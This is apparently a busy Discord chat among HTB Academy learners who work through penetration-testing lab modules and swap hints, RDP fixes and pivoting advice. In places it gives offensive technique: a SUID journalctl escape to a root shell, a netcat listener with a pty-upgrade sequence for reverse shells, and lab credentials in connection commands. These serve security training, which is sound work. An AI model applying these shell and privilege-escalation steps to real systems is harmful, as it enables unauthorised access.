fathom pendant
#

stuff you learned from common services should come in handy; from what i recall that comes before pw attacks

quasi wave
#

so previous module?

#

but isn't network services section in the pw attacks module?

#

or do I look back at footprinting module?

fathom pendant
#

well take a look at it this way

#

what are you currently interacting with

#

and what do you think would be most useful

#

by what you learned i meant moreso the enumeration portion

quasi wave
#

ok

steel snow
#

@urban sage sorry for mentioning you! ban mckinnon

#

he is a scammer that offers hacking services

fathom pendant
#

if it's related to discord moderation, their dms are open

#

(alongside providing screenshots)

#

also be mindful that most mods, i think, are human -- so holiday stuff

urban sage
hybrid bison
#

Hey is any link how to hack social media

fathom pendant
plush lotus
#

@fathom pendant he sent me a dm asking for help as well

fathom pendant
#

i'm not a mod

#

but just dm NightWolf or a mod/admin about it

steel snow
#

i will!

fathom pendant
#

there's no 2nd host

quasi wave
#

its a different password from one in mysql db

#

why is there a separate password?

fathom pendant
#

rsa keys can be password protected

quasi wave
#

is that to log into yet a different server?

fathom pendant
#

nope

quasi wave
#

is it for the mysql server?

fathom pendant
#

the one question you should ask; "Why is it password protected"

#

the mysql server is the target server

#

so no

quasi wave
#

ok

#

its an ssh key

fathom pendant
#

and abstract from "why would an ssh rsa key be password protected"

#

and the realization should hit you of what to try

#

there's a logical leap

quasi wave
#

ok

fathom pendant
#

the password isn't an ssh password

#

it's a password for the rsa key

quasi wave
#

ok

#

ah I see

fathom pendant
#

like when you go to unzip a protected archive

quasi wave
#

this is for an archive ya

fathom pendant
#

also

#

no

#

i'm just giving a parallel situation

quasi wave
#

ok

fathom pendant
#

why would the user need to password protect his own key

#

also mark

steel snow
#

guys... i am facing weird problem. i would spawn a machine, then sometimes the connection dies and i have to respawn the machine and sometimes that doesn't even work as well

fathom pendant
#

your questions about what to do are revealing spoilers about the skill assessment

compact patrolBOT
quasi wave
#

can someone DM me?

#

or can I DM someone? I don't want to spoil anything but I just want to make sure I can solve this

fathom pendant
#

you can be vague

#

i.e. j* d* for usernames

fathom pendant
delicate steeple
#

Hey all
i am at
Linux Privilege Escalation
Miscellaneous Techniques

Review the NFS server's export list and find a directory holding a flag.

i made shell and compiled it and when i try to run it on the machine it does not do anything i dont get to the root privilege to continue

can someone give a little hint?

fathom pendant
#

you don't need to do that afaik

#

but it's been a minute since i did that one

quasi wave
#

ok

strong crag
#

hi, is anyone able to help with python library hijacking in linux priv esc? feel free to DM

fathom pendant
#

you won't be able to do everything mentioned

delicate steeple
#

im sorry marcielee were you talking to me or que?

fathom pendant
quasi wave
#

Just to give my brain a rest

#

I’ll try again myself soon

delicate steeple
past hemlock
#

Hello, guys, I almost completed my CBBH modules but still stuck on the SERVER SIDE ATTACK Module specifically in INTERNAL PORT SCANNING BLIND SSRF can anyone help me?

plush lotus
#

$sudo apt install freerdp
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package freerdp is a virtual package provided by:
freerdp3-x11 3.5.1+dfsg1-5~bpo12+1
freerdp3-shadow-x11 3.5.1+dfsg1-5~bpo12+1
freerdp2-x11 2.10.0+dfsg1-1
freerdp2-shadow-x11 2.10.0+dfsg1-1
You should explicitly select one to install.

E: Package 'freerdp' has no installation candidate
to do the windows fundamentals i need to installl xfreerdp to my parrot os is there one i should get for the module

fathom pendant
#

might be smarter to do freerdp3-x11

#

but freerdp2 is the previous stable version

#

yes aptitude is different from apt

plush lotus
fathom pendant
#

either one is fine

#

there's also rdesktop, or remmina

#

remmina or reminna has a GUI you can use instead of CLI

plush lotus
#

the course is wanting me to use this package

fathom pendant
#

i forget the spelling

fathom pendant
plush lotus
#

ok so your stating it does not matter how i gain remote acces to the target. everything will work fine in the vpn

fathom pendant
#

yep

#

rdp is rdp

#

¯_(ツ)_/¯

#

but the commands i gave you will install freerdp to be able to use xfreerdp

#

as stated by the error, part of the issue was you not specifying which freerdp you're referring to

dim ridge
#

@vague dust that lucky.php was fiddly but not too bad

vague dust
#

Lol the RNG gods smiled upon you

dim ridge
#

haha had to repeat it loads of times but got it eventually

plush lotus
fathom pendant
#

it's a difference in package name

#

you should explicitly select one to install

#

but freerdp has always had issues installing with apt; so installing aptitude and installing via that tool works fine

cerulean tulip
#

Hoii

jade fulcrum
#

can someone help me with the Introduction To Splunk & SPL module?

plush lotus
#

@fathom pendant its failing i can not rdp into target

fathom pendant
#

it's failing
very useful

plush lotus
#

i know it. i wonder if the package i installed is faulty

#

@fathom pendant

fathom pendant
plush lotus
#

i also deleted the vpn download. dowloaded a vpn made a new connection just to make sure

#

jeez

fathom pendant
#

also a tip with xfreerdp; /dynamic-resolution and /cert-ignore

#

dynamic-resolution lets you resize

plush lotus
fathom pendant
#

and /cert-ignore well. ignores the cert error you see

vague dust
#

Wow.

fathom pendant
sterile moon
#

guys where to start with chemistry box

fathom pendant
plush lotus
#

$xfreerdp /v:10.129.26.16 /u:htb-student /p:Academy_winFun!
[08:17:39:506] [44761:44762] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[08:17:39:506] [44761:44762] [ERROR][com.freerdp.core] - failed to connect to 10.129.26.16
@fathom pendant

signal pike
#

I had the same issues using xfreerdp, I couldnt solve even with the additional options so I just used the website machine

fathom pendant
plush lotus
#

its not a vm. its my os

vague dust
#

This is all over the place lol

fathom pendant
signal pike
#

I tried solving the errors and I was not getting any results, use the website vm if you can

fathom pendant
#

¯_(ツ)_/¯

plush lotus
#

ok i will reboot

fathom pendant
#

also try putting the password in singlequotes (or at least get in the habit of that)

signal pike
#

I'm having rdp problems in the AD attack modules, never had problems before

#

but the vm works, so I use the vm

vague dust
#

I use xfreerdp /u:eagle\htb-student /p:Academy_winFun! /v:10.129.26.16

fathom pendant
vague dust
#

Oh. Well it's worked for me since lol

left stirrup
#

hiii

fathom pendant
#

but there's also other tools like rdesktop and remmina

#

iirc remmina is installed on parrot by default

#

if you want to talk about random stuff go to #general <--

vague dust
#

I use the rdesktop when im logged into the target when it's windows lol

plush lotus
fathom pendant
#

sudo apt install rdesktop; should be there by default iirc on parrot

plush lotus
#

no man came up

plush lotus
#

thank you

vague dust
#

I think it's naptime

left stirrup
#

Hiii,
I've got a problem with the skill assesment of the wi-fi penetration testing basics.
It seems that I'm not capable to see a lot of frames from the access point HTB.
I need to capture the EAPOL to actually crack the passphrase.
Does anyone had an idea of where the problem could came ?

dim ridge
#

@vague dust how do you get burp to brute force the last character of the cookie AND THEN encode the whole payload again

vague dust
#

oh lawd i havent done that in a hot minute

fathom pendant
#

it's in the payload options of intruder

#

and encoding you just do in reverse of how you decoded

plush lotus
#

@fathom pendant ok target window opens. then crashes

fathom pendant
#

decode order: md5 --> b64 --> ascii
encode order: ascii --> b64 --> md5

fathom pendant
compact patrolBOT
plush lotus
vague dust
#

I wish you could read the modules on your phone

fathom pendant
#

you can

#

it's not fun

#

but in menu, just tick the 'Desktop Site' option

dim ridge
#

D: getting errors with burp and ZAP now where it can't find the site, but outside of the apps it can

vague dust
#

Oh....is it on the web page lol

dim ridge
#

delays delays hehe

fathom pendant
#

for chrome it's 3 dots then scroll a bit in that menu

vague dust
#

Ah gotcha. I'll just do that then thank you

fathom pendant
dim ridge
#

yeah i might do tha tinstead

fathom pendant
dim ridge
#

nice to avoid sending all browser traffic to proxy tho haha

#

ah its working now, needed a reboot for some reason

vague dust
fathom pendant
#

networking module is basic networking 101 stuff with some light maths involved

dim ridge
#

its the note taking that slows me down too i think

fathom pendant
#

slow isn't bad

dim ridge
#

the AD one is 💀 a lot

fathom pendant
#

¯_(ツ)_/¯

#

the slower you go the less likely you are to make mistakes

dim ridge
#

true but trying to get CPTS done before the promotion cycle

fathom pendant
#

¯_(ツ)_/¯

dim ridge
#

in feb, could mean an extra 30k

fathom pendant
#

don't beat yourself up if you don't get it

plush lotus
#

@fathom pendant issue was resolved by full system shutdown. fyi

vague dust
#

Yeah don't burn yourself up. I did that to myself doing the bug bounty oath

#

A reset you say?

dim ridge
#

Thanks got it, prefix then encode twice, i couldn't get my head around putting the wordlist in and putting the original cookie in and then encoding both again

vague dust
dim ridge
#

ah ok

fathom pendant
#

just an example

dim ridge
#

no worries, thanks again Marcielee

vague dust
#

But you learned!

dim ridge
#

yes

#

D: why is my weekly streak showing 0

vague dust
#

Did you refresh the page?

signal pike
fathom pendant
#

the timer is set in UTC

dim ridge
#

so when will it show the real number, it should be around 30

fathom pendant
#

when you pay me $1000

dim ridge
#

aha

fathom pendant
#

likely some backend bug

vague dust
#

Only 1k?

fathom pendant
#

results not guaranteed

acoustic light
#

Does anyone have the built in browser functionality for ZAP working correctly on a Debian based distro? As far as I can tell my selenium, geckodriver and firefox versions are compatible but I keep getting the 'the provided browser was not found error' when i try to launch firefox from ZAP.

dim ridge
#

I got that error on kali but i just used chrome instead which didn't give me an error

acoustic light
# dim ridge

unfortunately i have the same issue with chrome as well. starting firefox outside of zap, turning on foxyproxy , etc. works though. This just seems like something that should work considering mozilla sponsors the tool.

rough violet
#

https://gtfobins.github.io/gtfobins/journalctl/
i can't get this to work
from Permission Management, Linux Fundamentals
"If the administrator sets the SUID bit to "journalctl," any user with access to this application could execute a shell as root. More information about this and other such applications can be found at GTFObins."

fathom pendant
#

what are you trying to get working?

#

there's no questions or anything for this section

waxen totem
dark hedge
rough violet
fathom pendant
rough violet
rough violet
fathom pendant
#

Bingo

rough violet
#

@waxen totem @dark hedge @fathom pendant didn't work

waxen totem
#

o wait I'm high

fathom pendant
#

On your script

rough violet
fathom pendant
#

Does it have the execution bit enabled?

rough violet
#

no mb

fathom pendant
#

Also you're misinterpreting what gtfobins is saying

#

Just run journalctl, then do !/bin/sh

rough violet
#

but before i added the s bit

fathom pendant
#

Well...

#

Do it now that you have it

rough violet
#

doesn't work, I can't write the ! at the start

fathom pendant
#

¯_(ツ)_/¯

#

It's not important to do anyway before moving on

rough violet
#

yea there's too much to learn,
i think the problem is i can't open a command

#

when i write /bin/sh it tried to match with logs

fathom pendant
#

!/bin/sh one line

#

In most things ! tells the program to run a local system command instead of internal command

fathom bone
#

someone here who can help me with last question kerberos Attacks Skill Assessment?

waxen totem
fathom pendant
#

it's unlikely to run into anyway ¯_(ツ)_/¯

slender delta
fathom bone
#

What's the content of the file: \DC01\Secret Share\flag.txt?

#

you finished it already?

slender delta
#

You'll have to find that out....

#

I haven't done the Kerberos Attacks modules but someone might have

vague dust
#

cant share answers on the modules folks 🙂

fathom bone
#

did you finish it?^^

vague dust
#

finish what? im not up to speed on this channel since it is very active >_>

fathom bone
#

if someone here can help me out with the Kerberos Attacks Skill Assessment on the last question just hit me up pls 😄

vague dust
#

what module is it?

slender delta
vague dust
#

oooooooh. i dont even have that module unlocked lol

viral patrol
#

I'm working on the Conditional Execution module for the "Introduction to Bash Scripting" section and I am running into a wall answering the question. I've looked around and I seem to be getting the same answer other people are, but they're also saying it isn't working.

Question: "Create an "If-Else" condition in the "For"-Loop of the "Exercise Script" that prints you the number of characters of the 35th generated value of the variable "var". Submit the number as the answer."

||`#!/bin/bash

Count number of characters in a variable:

echo $variable | wc -c

Variable to encode

var="nef892na9s1p9asn2aJs71nIsm"

for counter in {1..40}
do
var=$(echo $var | base64)
echo -e ${#var}

done`||

#

Its been a long time since I've done bash coding, so had to knock some rust off. I prefer Python

rough violet
#

hadnle what? the suspension? how

waxen totem
#

most common use case for this is when you're spawning an interactive shell:

(kali)$ nc -lvnp 1337
connection from 10.10.10.10
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data$
ctrl+z
(kali)$ stty echo raw; fg
www-data$ export TERM=xterm
#

ctrl+z suspends the shell so you can change your terminal settings for a better shell experience, fg puts it back into use

#

jobs to see what's suspended

vague dust
#

wow im actually interested in this networking module...weird

oak raptor
#

Hello can someone help me
i tried both and xfreerdp gives a black screen and rdesktop gives that credentials is wrong , also changed the vpn of PWNbox and all the same
xfreerdp /v:<ip> /u:htb-student /p:Academy_student_AD!

rdesktop -u htb-student -p Academy_student_AD! <ip>

vague dust
#

are there any error messages when you xfreerdp?

cloud urchin
oak raptor
#

it worked

#

i get it that's for the blue screen before login , thank you @vague dust @cloud urchin

grizzled cobalt
#

I'm having some trouble with my kali VM. It won't resolve an internet connection, and the only thing listed when I run ifconfig is the local host. Anyone have any tips?

brave scroll
grizzled cobalt
#

Dumb question, but just to clarify: you mean install it onto the host machine right?

cloud urchin
grizzled cobalt
#

Mine looks like yours, it's a NAT

brave scroll
brave scroll
grizzled cobalt
#

Any ideas how this could have happened? The only changes I've made to the settings were to give it more memory (that was earlier today). Other than that, I haven't changed them for several months.

cloud urchin
#

gremlins

grizzled cobalt
#

I have three children. You might actually be more right than you realize.

brave scroll
#

Module: Pivoting, Tunneling, and Port Forwarding
Section: Remote/Reverse Port Forwarding with SSH

  1. Have done the SSH with Dynamic port forwarding successfully but when i do Host scan it shows me that all hosts are already up, have tried -Pn or -Ss scans also.
cloud urchin
#

you can only perform full TCP connect scans over proxychains

rustic sage
#

Hi guys, AD enumeration skill assessment.
I can't get chisel reverse tunnel to get back to my attacker host.

#

the --reverse flag should do it, but I don't get where the issue lies..

#

The pivot is the machine on ip 172.16.6.100, and this internal network is on 172.16.6.50

#

a better overview of whats happening:

tranquil axle
#

Aren’t you connecting to the .50 machine in the screenshot on the bottom right?

#

Ping often doesn’t work on windows machines so don’t rely on that

velvet gale
#

what is the output of /etc/proxychains4.conf the last line say?

#

should say socks5 127.0.0.1 1080

rustic sage
#

yeah, says the same

#

the proxychains connects me to the internal network

#

so its not the issue I assume

#

I wasn't able to Invoke-WebRequest too

#

The pivot (172.16.6.100) is giving my attacker host (10.10.16.6) access to the internal machine(172.16.6.50).
Using the --reverse flag on Chisel should get the internal machine be able to access my attacker host, or am I wrong?

cloud urchin
#

looks like it's working to me

#

the pivot grants your host machine access to the private subnet that's normally not accessible to you

brave scroll
cloud urchin
#

the end machine can't just connect to your machine, it has no route to your machine

rustic sage
#

Ohh, so not even the --reverse flag helps in such cases?

#

any idea on how do I drop files on that host from my attacker host?